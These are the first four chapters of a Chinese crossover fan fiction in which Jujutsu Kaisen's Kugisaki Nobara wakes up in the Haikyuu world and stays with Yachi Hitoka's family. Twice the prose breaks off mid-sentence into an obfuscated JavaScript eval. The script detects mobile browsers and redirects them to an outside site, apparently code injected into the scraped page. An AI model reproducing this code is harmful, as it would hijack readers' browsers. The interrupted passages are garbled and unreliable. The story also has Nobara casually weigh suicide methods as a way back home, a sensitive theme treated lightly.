《乌野来了个暴躁独眼女经理》 1. 第1章 【记录：2018年10月31日晚19：00整，东京都涩谷区，以东急百货店东横店为中心出现半径400米的[帐]】 【这是一种只将普通人封闭在内的[帐]，只能进不能出，人们奔逃至边缘，口中只不断呼喊着——“把五条悟找来”】 【20：31，五条悟到达现场】 【21：26，五条悟被狱门疆封印，混战开始】 【23：00，两面宿傩苏醒，大开杀戒，尸横遍野】 【23：17，七海建人确认死亡】 【23：26，钉崎野蔷薇确认……死亡？】 【咒……世界……咒灵……非术师人员……灭亡……？】 …… 黑暗……无尽的黑暗裹挟一切。 血液上涌，痛感袭来的瞬间，她伸出手抚了抚脸庞，目光微微有些呆滞。 记忆闪回，像雪花般悄无声息。 “……我们能救的人是有限的，该说是我人生的座位吗？不想让我的心被没有坐在那里的人干扰啊……” 钉崎野蔷薇曾经这样对虎杖悠仁说过：“当然了，也有像你这样自己带着椅子坐进来的人啦。” 那时他们刚刚经历了一场难以想象的恶战，能完全将对方称之为“战友”、“共犯”的时刻，也许是第一次。 五条老师、虎杖、伏黑…… 真希学姐、狗卷前辈、熊猫学长…… 还有小文和沙织。 她心里的座位也许只有这么几个。 野蔷薇站在中间，所有人都无声望着她。 温暖到不行的微笑，就像夏天的咒高，树荫下渗过的太阳。她想起自己和虎杖因为最后一支冰淇淋而大吵了一架，但是，那个笨蛋、白痴，还是会为了道歉向伏黑借钱，悄悄给她买银座附近很难抢到的“超人气手作寿司”。 五彩斑斓的影像不断褪色，逐渐变得灰白。 要跟他们说再见了吗，真有些……舍不得呢…… 她才十六岁呢，就这样死了？她……对这个世界，有做出什么贡献吗？她的人生，是有意义的吗？哪怕一点点也好，她的死亡她所做的一切，最终能让咒术师战胜这个漫漫长夜吗…… 还有虎杖……一个人对战那个缝合脸，要是敢输，她一定要—— 一定要—— 可是，来不及了…… 空洞的眼窝绽放出代表罪恶的血之花，猛烈跳动的神经像毒素一般极速蔓延。 “虎杖，转告大家，我这一生，过得还不赖！” “喂，不要太早来我这边啊，虎杖。” 哔—— 钉崎野蔷薇的冥夜，彻底降临。 * “嘀嗒。” “嘀嗒。” “嘀嗒。” 是谁的眼泪吗？还是……血？ 滴落在耳边的声音很大很吵，淅淅沥沥的，又像是深夜的雨声。 ……她是疯了吗，已经死了的人，哪里还会听得见声音呢。 尚未来得及多想，左眼却先一步传来胀痛！ 最先恢复的是听觉，模糊而遥远的列车嗡鸣像隔着厚重的帷幕。然后是触觉，逐渐感受到身体的重量，冰冷潮湿的地面和血液在血管中流淌的刺痛和鲜活。 恍若重回大海的鱼，野蔷薇大口大口地喘起气来。 睁开眼睛的瞬间，世界在瞳孔中扭曲成型，像不断翻滚转动的万花筒，像破碎零散的镜面碎片，以极快的速度拼凑出一副完整的影像。 空气安静得诡异，只有绵绵细细的雨，混杂着清爽干净的味道传入每个毛孔。 与满是诅咒、随时带着腐臭味的东京不同，这里很显然是真的清爽干净。 四周是黑黢黢的一片，野蔷薇撑着地面半坐起来，盯着空无一人的窄巷看了半天。 “这里是……”她神色严肃：“那只特级的领域展开吗？” 不……不像。 天空、墙壁、细雨、乌云、路灯，一切都真实的要命。路边的猫咪低眉顺眼地走来，用它那双湿漉漉的蜜糖色眼睛望着粽发棕瞳的少女。 从它的眼中，她慢慢勾勒出这个世界的模样。 随后，轻盈的脚步声在身后响起，来人步子很小，带着一种谨慎又羞涩的局促。 “那个……你、你没事吧？” 头顶传来战战兢兢的女音。 “嗯？” 野蔷薇蹙着眉应了一声，然后慢慢仰起下巴。 印入眼帘的首先是一把罩在头顶的、可爱的红色蘑菇伞，视线右移，面容青涩的女孩儿，顶着一个在她看来有点儿可笑的土气发型，表情肉眼可见由担忧变成惊恐。 两条腿抖成了筛子…… 红色的雨伞是那样鲜艳夺目，冲击感像狂风席卷而来，野蔷薇的心跳也随之漏了一拍。 是活的……是人类？ 她拧着眉，慢慢伸出指尖，在女孩子柔软的小腿上戳了一戳。 “热的。”不顾女生满身的鸡皮疙瘩，野蔷薇喃喃自语。 恍然意识到自己没有死亡的事实，一股难以言喻的兴奋涌上她的心头。 “喂！现在是什么时间，涩谷……涩谷怎么样了！”她病急乱投医。 “鬼、鬼啊——————————” 然而打断她问话的，是一声凄厉无比的惨叫。 这惨叫声尖锐刺耳、穿透云霄，像一阵龙卷风般，将野蔷薇本就凌乱的栗色短发吹得更加难看。 地面上潮湿又黏腻的触感让野蔷薇很是难受，她捂着隐隐发痛的左眼站起来，眼疾手快拦腰抱住眼前惊吓到“口吐白沫”，差点儿倒在地上的女孩子。 尖叫声戛然而止，女生失去了意识。 “啧，有没有搞错，对着淑女的脸叫鬼会不会太失礼了？” 地面有个不大不小的水坑，野蔷薇满脸不耐地躬身查看。 借着微弱的、忽明忽暗的路灯，她看见一个阴湿的独眼女鬼，正表情凶恶地翻起上唇露出尖牙。 “唔……” 她摸了摸下巴。 * 今天天气不好，从下午就开始断断续续地下着雨。 在排球馆待到训练结束时，外头也还在电闪雷鸣。 “诶——你要走了吗谷地同学?”日向翔阳拉长了脸：“可是可是，我们才刚开始自主练习呢。” 他一边说着，一边撅起屁股做了个扔球的动作。 很明显的暗示。 “抱歉啊日向……”仁花不好意思地摸了摸脑袋：“今晚我要提前回去给妈妈准备明天的早餐呢，嘿嘿。” “在便利店买一个饭团给她如何，咖喱味的。”影山飞雄冷静地提议。 察觉到仁花的目光，他镇定自若地解释：“我并不是为了让你留下来帮我们扔球才说这种话的。” “喂喂影山，你这样说的话嫌疑反而更大了吧！” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112065|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笨蛋，日向笨蛋！”影山吼了起来。 “啊哈哈哈……”仁花偷笑。 她想了想，承诺道：“明天！明天晚上我肯定陪你们训练！练到几点都没问题！” 一高一矮还在吵闹，闻言眼冒金星鼻孔喷火：“真的吗？” 在得到肯定的答复之后，两人像跳蚤一样欢快地蹦跶起来。 格外好哄。 “那么，明天见喽。” 时间已经不早了，谷地仁花撑开伞小跑起来。 雨丝有点凉凉的，顺着风扑在脸上的感觉有点儿不舒服。她加快了脚步，只希望早点回到温暖的房间。 在即将踏入最后一条巷子时，一道突如其来的车前灯光，不……也许是闪电?总之，那光来的又快又急，像一把锋利无比的刀，一瞬间射入谷地仁花的瞳孔。 与此同时，空气中传来一阵微弱的震颤，恍惚之间，仿佛有一双无形的手将两个不同的时空扭曲、揉碎，然后拼合在了一起。 短暂的眩晕之后，眼前多了一个背对着她坐在雨里的女孩子。 什么情况？仁花紧张地咽了咽口水。 女孩子呆坐在雨水里，单薄的背影看起来安静又诡异。 谷地仁花小步走过去：“那个……你、你没事吧？” 对方闻声仰起头。 该怎么形容眼前这一张脸呢？ 乍一看有一种惹人怜爱的秀气，细细去看……请不要细细去看。 否则你就会像谷地仁花同学一样，在凄厉的惨叫声中栽倒在雨里。 * “喂……喂喂……” 钉崎野蔷薇拍打着仁花的小脸。 对方嘤咛一声，面色痛苦地睁开眼来。 见仁花已醒，野蔷薇颇不耐烦地把小红伞塞回她手里。 “这是哪里？”她问。 啊啊啊啊啊鬼说话了！！！ 仁花动作僵硬，盯着地上的水坑：“不、不知道……啊不是……这、这里是日本……额那个……” 她一边疯狂冒汗，一边想着跑路的办法。 “呐，你知道涩谷怎么走吗？” 野蔷薇尽量心平气和。 涩谷……涩谷?她刚刚说的是……东京的涩谷? 鬼还知道涩谷吗？仁花猛然间抬起头来。 趁着仁花晕倒，野蔷薇已经很自觉地用随身携带的绷带遮住了左眼。 明明已经没有了眼球，却好像没什么不适感，就是有点儿钻风，遮住了也好，保暖。 这绷带是真希学姐塞给她的，她嫌麻烦并不想带在身上，可是学姐说，野蔷薇你那么臭美，身上绝对不能留疤，如果受伤了，还是及时处理比较好吧。 真希学姐说的不对，才不是臭美，她只是，很珍惜自己啊……可想到这里，眼眶却突然干涩起来。 见眼前娇小的学生妹盯着她看，野蔷薇只好垂眸隐藏起情绪。 “哦，左眼受了点伤，以后估计都是失明的状态了。”她简短地解释。 “啊……这样啊……”仁花张大嘴巴。 天哪她都干了什么？？她居然对着一个可怜的陌生女孩儿做这种事！！！简直太太太太太失礼啦！ 又闯祸了，仁花举起白旗。 像她这样的人，就算不被社会淘汰也会因为说错话被人追杀吧？不对，她还能活到进入社会的时候吗，会不会还没有毕业就死于非命…… 天哪，谁能来救救她…… 2. 第2章 谷地凉子下班的时候，绵绵的雨终于停歇。她从地铁站走上来，没想到却在巷子口偶遇女儿，她正在和一个年纪相仿的女孩子说话，一边将自己的手机递给对方，一边表情困扰地摸着后脑勺。 女孩子留着一头利落的栗色短发，穿着一套蓝黑色的校服，腰后还绑着某个不知名的物件，光看轮廓瞧不出具体是什么，但很可能是刀具之类的东西。 没见过的校服，应该不是附近的学校，连“作案工具”都准备好了，专门来这里勒索的吗？ 呵，现在的不良少女啊。 谷地凉子挑挑眉，噼里啪啦地踏着高跟鞋就往巷子里走，整个人看起来颇有气势。 “仁花，你在做什么？”她叫了一声。 “诶？母上大人！”谷地仁花吓了一跳，瞬间炸毛。 本想着早点回家准备晚餐和明天的早餐，可居然耽搁到了这个时间，连妈妈都下班了！！！ 她慌张地左顾右盼，一时之间不知道应该先对母亲道歉还是先把野蔷薇介绍给她。 “2013年。” 钉崎野蔷薇难以置信地看着手机上的时间，她回到了五年前？不，也可能是敌人类似于幻境和噩梦的术式……又或者……这是另外一个陌生的世界？ 没有任何诅咒的气息，空气中满是雨后的湿润和清香，可对她来说却是巨大的空虚与不安，野蔷薇咬着下唇，不自觉摸了摸自己的锤子。 没有……没有……一丝咒力也没有…… 这到底是怎么回事？ “那个，”仁花小心翼翼地说：“妈妈，这是我认识的新朋友，她叫——” 动作一僵，仁花石化在原地。 完蛋啊，对方有说过她的名字吗？？还是自己忘记了？？？ 因为心慌和尴尬，她疯狂冒起冷汗，可这却让谷地凉子误以为，自家女儿是真的被威胁了。 “我说这位高中生小姐。”凉子讥讽一笑：“你打算对我乖巧可爱的女儿做什么？也说给我这个欧巴桑听听看好了。” 虽说平时她总是对仁花很严格，那是因为自己对这个女儿期望很大，可这并不代表，随便什么人都能欺负她。 “啊嘞。”仁花的汗落得更快了：“不是的妈妈……” 凉子打断她的话：“不用说了仁花，交给我吧。” 野蔷薇还没有缓过神来，听见背后有人说话，下意识转过身去。 洁白的绷带缠住了小半张脸，明明是与仁花一般稚嫩青涩的年纪，可眉目间却满是风尘仆仆的麻木与疲累。棕色的瞳孔很好看，细密的睫毛上还挂着尚未干透的水珠，可那眼神中，好像有着看透生死的冷漠和疏离。 饶是谷地凉子在职场打拼十多年，也没见过这样的眼神。 她一时有些语塞。 双方大眼瞪小眼。 反应了好一会儿，野蔷薇才慢悠悠地说：“哦，我的手机不见了，我本来想，唔，我想打个电话……” “抱歉啊，好像吓到你们了。”她举着仁花的手机晃了晃，然后递回给她。 “诶？不打了吗？” “嗯。”野蔷薇不知道该怎么说：“不用了，我不记得他们的号码。” 原来只是个迷路的高中生吗！！！ 谷地凉子为自己的先入为主感到抱歉，红唇一撅：“可怜的孩子，我送你去警局吧？” 警局？野蔷薇抬头望了望天，两眼无神。 行吧。 * 警局的会客室墙上挂着一块电子显示屏，上面的时间赫然也写着同样的年份。野蔷薇默默扫了一眼，而后撑着下巴观察周围的环境。 “你是说，你本来应该在东京涩谷，结果因为某种不知名的原因，出现在了仙台？” 年轻的男警官惊奇地念着笔录，反复向野蔷薇确认。 “是这样没错吧，钉崎小姐？” “没错。”野蔷薇敷衍地点点头。 她完全没有指望眼前这位伊藤警官能够理解她的现状，只是希望听了这些话，他能大发善心地安排人将她送回涩谷。 “没有具体的地址吗？”名为伊藤的年轻警官歪头思索：“涩谷可大着呢。” “这你别管。”野蔷薇反呛回去：“带我到涩谷区就好。” ……很难搞的女高中生呢，伊藤一噎。 “或许，你是在花火大会上走丢的吗？”一旁的女警若有所思地指了指警卫室前的小电视：“今晚涩谷有烟火活动哦。” “哈哈哈花泽警官，别开玩笑了，涩谷和仙台的距离可是……” 花泽一个刀子眼飞过去，伊藤立刻闭上了嘴。 野蔷薇没搭腔，目光却被电视机里花火大会的实时盛况吸引。 身着浴衣的女主持笑容甜美，声线明朗：“……整整一个小时过去，很高兴看到乌云散开……此刻，涩谷区已经聚集了成千上万的观众，这是日本夏季最浪漫的夜晚，让我们共同期待数十种不同的烟花在这片天空尽情绽放吧！” 高清的镜头自人们脸上一一扫过，明媚的笑容、雀跃的表情和动作，让野蔷薇不禁产生了错觉。好像这就是这个世界本来的样貌，好像这个世界，根本没有那么肮脏、邪恶、痛苦。 如果这是个没有咒灵也没有咒术师的世界，那么这个世界的大家，是不是都像所有平凡普通的人们一样，过着虽然无聊却真实又美好的生活呢？ 没有死亡，没有离别的……真实又美好的生活…… 一旦思及至此，野蔷薇的眼睛居然又酸涩起来，她不知道自己还会有这样感性懦弱的一面。 无论如何都想去确认一下啊。 深吸一口气，强迫自己镇定下来，在两位警官的争吵声中，她再次开口：“拜托了，请送我回涩谷！” 伊藤与花泽对视一眼，谁也没有说话。 “钉崎小姐，父母、亲人的电话呢，也不记得了吗？” 谷地凉子替她开口：“她说不记得了呢。” 老家的电话吗？倒是记得的。但是现在重要的不是那个小破乡村啊！ 野蔷薇没反驳。 沉默片刻，伊藤歉疚地说：“抱歉，现在局里的人手不够，用车也紧张，可能没办法送你回去了。” “不过你既然报警了，那么警方一定不会对你坐视不理，今天晚上你就先……” “去我们家吧！”谷地凉子接过话头。 像是担心野蔷薇有所顾虑，她又补充道：“我们家就在附近，而且有空的客房，东西都齐全。家里平时只有我和女儿仁花，也怪冷清的，如果小野能来作伴的话，我们都会很欢迎的。” 擅自就叫她小野了啊，这个大姐。 野蔷薇狐疑地望着她。 时髦的棕卷发扎成马尾垂在肩头，脸很小，同样棕色的眸散发着友善的光，粉色的眼影和唇膏很适合她，板正的职业装让她看起来挺拔高挑，整个人有一种成熟又柔和的美。 跟她想象中的沙织一模一样。 鬼使神差地，野蔷薇说：“好。” …… “谷地女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112066|179915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 士。” 临走之前，伊藤叫住了谷地凉子。 他斟酌着开口：“根据以往的经验判断，她大概率是一位离家出走的叛逆女高中生，听口音不像东京，反倒像是九州地区的，也许是熊本一带……” “局里人手紧张只是一点，另外的目的是为了让她说出实话。” “毕竟她说的事情实在是太过匪夷所思了，您不会真的相信了吧？” “啊……”凉子愣了愣。 她笔直地立在警局门前，叹着气将包包又往肩上提了一提。 花泽从局里走出来，一边瞟着野蔷薇一边对伊藤耳语：“没有查到附近有这样的校服，九州和涩谷地区都没有。” 伊藤点点头，面露难色：“总之，谷地女士，面对你和令千金也许她愿意说出实话，不过，不管她有什么异样的言语和举动，请一定要及时告诉我们警方，好吗？” “好，我们保持联系。”凉子掏出手机记录下了他的联系方式。 * 野蔷薇比仁花稍微高一点，她对着镜子看着短了半截的可爱花花睡衣，表情一言难尽。 “嘿嘿。” 谷地仁花憋着笑，不好意思地说：“抱歉啊，钉崎同学，先将就着穿一下吧。” 她害羞地对了对手指：“唔，那个，我可以叫你野蔷薇……吗？” 野蔷薇朝她望过去。 “啊啊那个，不可以就算了！”仁花被这冷冰冰的视线吓出了蛋花眼，连忙摆手摇头，看起来可怜弱小又无辜。 “请便。” 寄人篱下，野蔷薇对称呼倒不是特别在意：“我也叫你仁花好了。” 她盯着镜子中的自己，默默抚了抚毛绒面料的睡衣，一股温暖到极致的感觉霎时间涌上心头。 难以言喻的心安袭来的瞬间，无法言说的后怕和恐惧也随之而来。 她下意识摸着心口。 “咚咚咚。” 凉子敲了敲门：“仁花，不要打扰小野休息了，时间很晚喽，明天早上不是还要早点去排球部吗？” “啊！对哦。”仁花后知后觉。 “排球部？”野蔷薇敏感地捕捉到这个名词：“仁花是打排球的吗？” “不是啦。”仁花挠挠头，腼腆地笑起来：“其实，我正在男子排球社做经理。” “哦。” 野蔷薇兴趣缺缺。 “小野，今晚你就睡在这个房间吧。”谷地凉子女士大手一挥，一边将仁花推出去，一边从钱包里抽出几张一千日元和一些零散的硬币放在桌子上。 “明天我们都不在家，你可以自己出去吃一点。” “别担心，你会找到家的。”凉子温声补充。 “那么，早点休息喽。” 房门被轻巧地合上，野蔷薇站在原地。 她看着桌子上的钱币，良久才轻轻地“嗯”了一声。 客厅的灯很快熄灭，门缝下唯一渗出的明亮是凉子打开冰箱拿啤酒的冷白光。 野蔷薇攥紧了钱，匍匐在门缝边，像一头等待觅食的猎豹……还是一只穿着花花睡衣的猎豹。 完全的黑暗之后，她轻手轻脚地打开了玄关的大门。 阳台上晾着她湿漉漉的高专校服，鞋柜上放着她的咒具。咬着唇想了想，野蔷薇将咒具系在腰间，最后望了一眼校服，而后狠心出了门。 休息……是不可能休息的。 夜晚才刚刚开始，她有更重要的事情要做。 警察不帮她，她自己帮自己。 3. 第3章 虽然已经入夏，但晚风吹起来还是稍微有点儿凉，从巷尾掠过来的时候，带着一点陌生的花香。 钉崎野蔷薇迷失在街头，心脏突突突地乱跳。像乡下……又不像乡下，没有华丽的商铺和热闹的街市，但是，同样也没有冷漠的凝视和不分轻重的闲言碎语。 发丝凌乱地吹散在耳边，鬓角和额尖都沁出细密的汗珠，但是她没有停下脚步。 “急急急！我要去东京涩谷！” 这个时间已经没有电车了，她气喘吁吁地拦下一辆出租，一屁股坐在了副驾驶上。 “涩谷？”司机惊讶出声，他挺着啤酒肚，慢吞吞地摩挲了一把闪亮的光头：“喂喂喂小姑娘，你知道从仙台开车去涩谷要多久吗？你不会是离家出走吧？哎呀，听叔叔说，跟爸爸妈妈吵架也不能意气用事啊……你说你小小年纪的……” 他喋喋不休地念叨，整个身子都靠在车门边，既不看野蔷薇，也完全没有要走的意思。 “……你走不走？” 野蔷薇沉默片刻，缓缓拆开绷带，唇齿上翻，露出一抹诡异而天真的微笑：“人家赶着去涩谷转世投胎呢，司、机、叔、叔。” “啊——”一声短促的尖叫在狭小的车内爆炸开来，光头司机哆哆嗦嗦地坐直了身子，流了一脑门的汗。 “您、您您您坐稳了……” 他刚要一脚油门踩出去，驾驶座边的车窗却闪过一道人影。紧接着，车窗被急促的叩叩声敲响。 车前灯劈开的光柱里，出现一张惨白的、像浸了水的石灰般毫无生气的脸。眼珠子黑溜溜地盯着车内，一丝也不肯转动。 半秒后。 “啊————————————” * “小野，你不乖。” 谷地凉子捻起指尖将面膜揭开，先是发出一声舒服的喟叹，而后又语气严肃:“你想去哪里，这么晚了，万一遇到危险怎么办？” 野蔷薇垮着脸看向一边昏死过去的光头司机，有些无奈：“大姐，我……” 见身旁女人的目光逐渐变得不友善，她顿了顿，改口道：“凉子阿姨，我只是想回家罢了。” “可是，你家到底在哪里呀？” 凉子摸不着头脑：“为什么不愿意对警察说实话呢？” “我的家——我家……我家在——” 凉子期待地望着她：“在——？” 没办法解释清楚，野蔷薇抓狂地揉了揉乱发：“总之，就是在涩谷啦！” 女孩子垂着脑袋，气压很低，褪去张牙舞爪的外壳，看起来柔软的过分。 谷地凉子也是从她这个年纪过来的，心里知道十五六岁的孩子都是一株带刺的含羞草，叛逆的尖刺下藏着一触及发的脆弱。很多时候，大概只需要理解和尊重吧。 心里这样想着，她默默叹了口气，手掌已经不自觉地盖上了野蔷薇的发顶：“乖啦乖啦，既然小野你这么着急回家，那阿姨我就开一回夜车吧！不就是涩谷嘛，我送你去就是了。” 穿花花睡衣的女孩子明显一愣，一直耸动着的肩膀也刹那间放松下来。 良久，谷地凉子听见她幽幽地开口：“我的头发是刚洗的，你刚刚擦手没有？” “……” 好，当她没说。 * 仙台到涩谷的距离是三百六十公里，开车大约是五个小时左右。 仁花听说谷地凉子要连夜送野蔷薇回家，打着哈欠起来做了些食材简单的三明治。 “抱歉啊野蔷薇，我明天还要去学校，没办法跟你们一起去呢。” 她将三明治打包进食盒里递给野蔷薇，声线开朗：“如果有机会，我一定会去东京找你的哦。” 大概是没有这个机会了。野蔷薇心想。 她没有说话，只是心不在焉地点了点头。 “走吧！”凉子抬手看了看表：“来回十个小时，如果顺利的话，应该能赶回来上班。嗯。” 仙台人都这么拼吗？野蔷薇一哽。 * 安静的夜，丰田Sienta在不算宽敞的路面稳速前进。 夜色沉甸甸的压下来，轮胎碾过地面发出好听的沙沙声，像谁在暗处缓缓翻开一本沉重的厚书。 心慌意乱，烦躁难耐。 越接近东京，越接近涩谷，这种如鲠在喉的不适感就愈发严重。 后半夜，风带着凉意溜进来，野蔷薇缩了缩脖子。谷地凉子眼尖，很快合上了车窗。 “小野，就快到家了，别害怕。” “嗯……”野蔷薇沉闷地回应着。 已经驶入涩谷地界，凉子的车速缓下来：“小野，接下来我要往哪里开呢？” 东急百货店就在附近，按照沦陷范围来看，这里已经身处【帐】中了……可是…… 可是，这里多热闹啊。 霓虹灯在雨雾中晕开一片流动的彩，像打翻的调色盘，所有的光都清醒地照在人们欢腾的脸上。居酒屋的暖帘还卷在半空，烤青花鱼的焦香混着清酒的气味窜出来。 远处的卡拉ok里传来懒洋洋的跑调歌声，偶尔有穿高跟鞋和西装的女人男人哒哒哒地踩过水洼。 大屏幕上还在播放着“全日本排球高等学校选手权大会”的体育新闻，几个男孩正你推我搡地嬉笑着，穿着整齐的深色队服，像是刚结束训练，仰面望着屏幕的眼睛里没有一丝疲态，全是跃跃欲试的渴望。 整条街区都在呼吸。 野蔷薇从后座跃下来，迷离的目光里有一点难捱的怔愣。 “诶~”谷地凉子惊叹地吸了口气：“东京不愧是东京，涩谷不愧是涩谷，半夜还这么热闹啊。” “话说那就是‘春高’吧，仁花他们学校的男子排球队听说正在为晋级的机会努力呢……” 凉子拿出手机咔嚓咔嚓地拍照，野蔷薇却没什么反应。 她已经亲自确认，眼前的涩谷同她所处的涩谷，是完全不一样的。 那么高专呢？ 钉崎野蔷薇燃起一瞬的希望，她跳上车大声道：“凉子阿姨，带我去一个地方！” * 天刚微亮。 树影重重间，朦胧的晨光劈开一条长阶，野蔷薇一路疾驰。 再走几步，只要再走几步就可以看见一座熟悉的建筑，那里有她熟悉的人、熟悉的味道、熟悉的微笑和调侃。 她好像已经看见真希学姐皱着眉问：“野蔷薇，你又偷偷溜出去玩了吧？” 狗卷前辈会附和：“鲑鱼。” 伏黑依旧面瘫：“帮我买漫画了没有。” 虎杖在偷笑，她可以毫无顾忌地上手教训他，然后扑进一只熊猫暖融融的怀里。 可是，什么也没有。好像这些回忆从不曾出现在她的生命中一样。 天空泛起鱼肚白，阳光轻柔地落在树缝中，又落在钉崎野蔷薇的脸上。 她一直扑通乱跳的心脏在此刻终于安分下来。 * 路上耽搁了不少时间，上班是赶不上了，凉子让助理替自己请了一天假。 没有找到家人，善良的谷地女士自然不可能让野蔷薇一个人留在东京的，打了电话向伊藤警官说明情况后，谷地凉子还是决定带她返回仙台市。 可自从回来之后，这孩子就一直闷闷不乐地呆坐着，偶尔捣鼓几下她给的旧手机，然后又继续呆坐，不知道在想些什么，然后，一坐就是一天。 谷地凉子小心翼翼地瞅着野蔷薇的脸色：“小野，晚餐想吃什么？” “嗯。” “……” 完全没办法对话啊，凉子觉得头疼，也觉得心疼。 “咔哒”，是钥匙转动锁芯的声音，玄关传来响动，紧接着，仁花高声道：“我回来了！” 凉子迎面走去，尚未应答，另两道声音也突兀地响起。 热情的，像是火炉扑面而来般带着温度的：“打扰了！！！我是日向翔阳，伯母，好久不见！” 清冷的，伴着一点慵懒和困倦的：“打扰了，我是影山。” 谷地凉子认识他们，是乌野男子排 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白天的时候，仁花已经从母亲的电话中提前得知野蔷薇没能回家的事，她赶忙介绍：“啊！对……这位是钉崎野蔷薇同学，是我的，我的朋友。” “哦……”翔阳直愣愣地望着短发的女生。 怎么还不走？野蔷薇被盯的有些烦躁，勉强抬起脑袋对两人点了点头。 她这才看清楚两位“不速之客”的脸。 一个是橙发的小矮子，看起来好像跟她差不多高，貌似是那种会吃鼻屎、会在名人的照片上涂鸦的傻蛋；一个黑发的顺毛，长着一张高冷精明的脸，但其实是个会偷偷照镜子臭美的死装男吧？ 像小雏鸡和边牧犬。 “总之，我们先学习吧！如果不通过考试的话，日向和影山会很困扰吧，毕竟小武老师可是下了最后通牒呢。” 仁花扬起声音将两人领进了房间。 野蔷薇默了默，继续低头玩手机。 谷地凉子背对着客厅站在阳台上通电话，处理工作事宜。房间门虚掩着，里面时不时传来小雏鸡兴奋的欢呼声：“哇哇哇呜呜呜呜！谷地同学你好聪明啊！” 野蔷薇站起来，将手机放在桌面上，兀自推开门走了出去。 她一直在思考，如果说她是因为被那只特级咒灵杀死而出现在了这个时空的仙台，那么是不是再次死亡就可以让她回到涩谷，回到虎杖身边。 可是问题来了，要怎么死呢？ 钉崎野蔷薇走到公园的小角落里，站在树下。 吊死吗？不行不行！听说吊死鬼会吐舌头翻白眼，这也太难看了。 走到楼顶。 跳楼吗？不行不行！风有点儿凉，万一摔成一摊烂泥，会给环卫工人添麻烦。 走到车来车往的大马路上。 车祸吗？不行不行，要是缺胳膊少腿或者没死透，那她不废了？ 走到河岸边。 溺水吗？好像可以，沉进河底不用担心死相，不用担心收尸，也不用担心死不成，是个好死法。 不知道走了多久，太阳早便落山了，云层被染的层层叠叠，空气都滤成了琥珀色。晚霞绚烂而温柔，野蔷薇立在岸边，愣愣地凝视着暮色，渐渐发起呆来。 要不要死一下试试？可万一回不去呢？那不就得不偿失了…… 可要是真能成功呢？涩谷形势严峻，她不能在这里浪费时间。 与此同时，身后突然传来了凌厉的破空之声，好像有什么东西像一支利箭穿透了风，笔直朝野蔷薇袭来。 “砰！” 随着一声巨响，一颗圆滚滚的排球猝不及防地砸在野蔷薇的后背，巨大的力道让她支撑不住身体，扑通一声掉进了河里。 沉下去之前，岸边传来两道慌张到不行的男声。 “啊啊啊啊啊完蛋了影山，你你你你杀人啦！” “笨蛋！日向你这个笨蛋！赶快下去救人啊！！！笨蛋！大笨蛋！！！” 又是这两个傻缺……她怎么这么倒霉…… 身子慢慢下坠，野蔷薇默默闭上了眼睛，两行清泪跟河水融为了一体。 4. 第4章 “喂影、影山，她还有气吗？” 日向翔阳胆战心惊地咽下一抹口水，橙发被暮色映下一片阴影，神情凝重。 “应、应该……应该活着吧……”影山飞雄没敢凑近去瞧，两人跪坐在野蔷薇面前，默默做祈祷状。 “诶——”翔阳忽然大叫起来：“她不是刚刚那个——” 因为心虚和害怕，直到此刻他才仔细观察了钉崎野蔷薇，这才发现，这女生非常眼熟，可不就是两三个小时前在谷地家见过的那个人吗？ “噢！是……”影山飞雄也想起来了：“钉崎……野百合！” “噗——野百合——哈哈哈哈哈哈哈哈哈哈哈！！！”日向翔阳猛烈拍地嘲笑：“分明是野玫瑰吧！” “是钉崎野蔷薇啊！你们两个臭小子……” 实在是忍不住了，野蔷薇支撑着身体勉强坐起来，她觉得头重脚轻，心情也差到爆炸。 “啊啊啊啊你还活着！”翔阳感动得热泪盈眶。 影山也悄悄地松了口气，并默默将自己罪魁祸首的“MIKASA”排球藏在身后。 “呸！”野蔷薇偏头吐出一根水草。 她自小生活在乡下，可是并不会游泳。小学，夏天的时候，她经常看见那群臭男生们光着膀子在小河边戏水、游泳打闹，她只是仰起脖子，冷哼一声从旁边走过，高傲得像一只天鹅。 刚刚沉入水底的时候，她以为自己真的又要死了，甚至她幻想着，等她再睁开眼的时候，能看见虎杖悠仁那个笨蛋。他一定亮着星星眼，咧开高高的嘴角，大声地叫她的名字：“啊！钉崎！” 日向翔阳见野蔷薇发呆，赶忙问：“你没事吧！钉……钉崎？” “……你被砸一个试试。”野蔷薇揉着后背，没好气地回复。 啊？可恶！翔阳恶狠狠瞪了影山飞雄一眼，为什么砸到人的是影山，被骂的却是他！ “野蔷薇？野蔷薇！” “小野！没错，是小野！” 堤岸上传来呼唤。 一小时前，谷地凉子打完电话，发现客厅中已经没了野蔷薇的身影，以为是回了房间。她敲开卧室的门，然而里面空无一人。仁花的“小课堂”也已经结束，偌大的家里安静的不像样。 “完了完了！”凉子红唇一张：“这孩子不会又自己跑去涩谷了吧！” “诶？”仁花焦急又难过：“我、我给她打电话！” 欢快的童谣在不远处蓦地响起，母女俩这人察觉，钉崎野蔷薇连手机都没有带上，整个人就像她的突然出现一样，突然地消失了。 “也许，只是出去散散心呢。”仁花自我安慰：“妈妈，我们出去找找吧。” 两人沿路找了许久也没有消息，直到收到日向翔阳的讯息，谷地仁花才带着妈妈疯狂往固城河岸边赶。 “小野！”凉子扑上去将野蔷薇圈在怀里：“你吓死我了！” 她的眼眶有微微的湿润，声线也颤抖的不像话，怀抱温暖又陌生，让野蔷薇棕色的瞳孔有片刻的失焦。 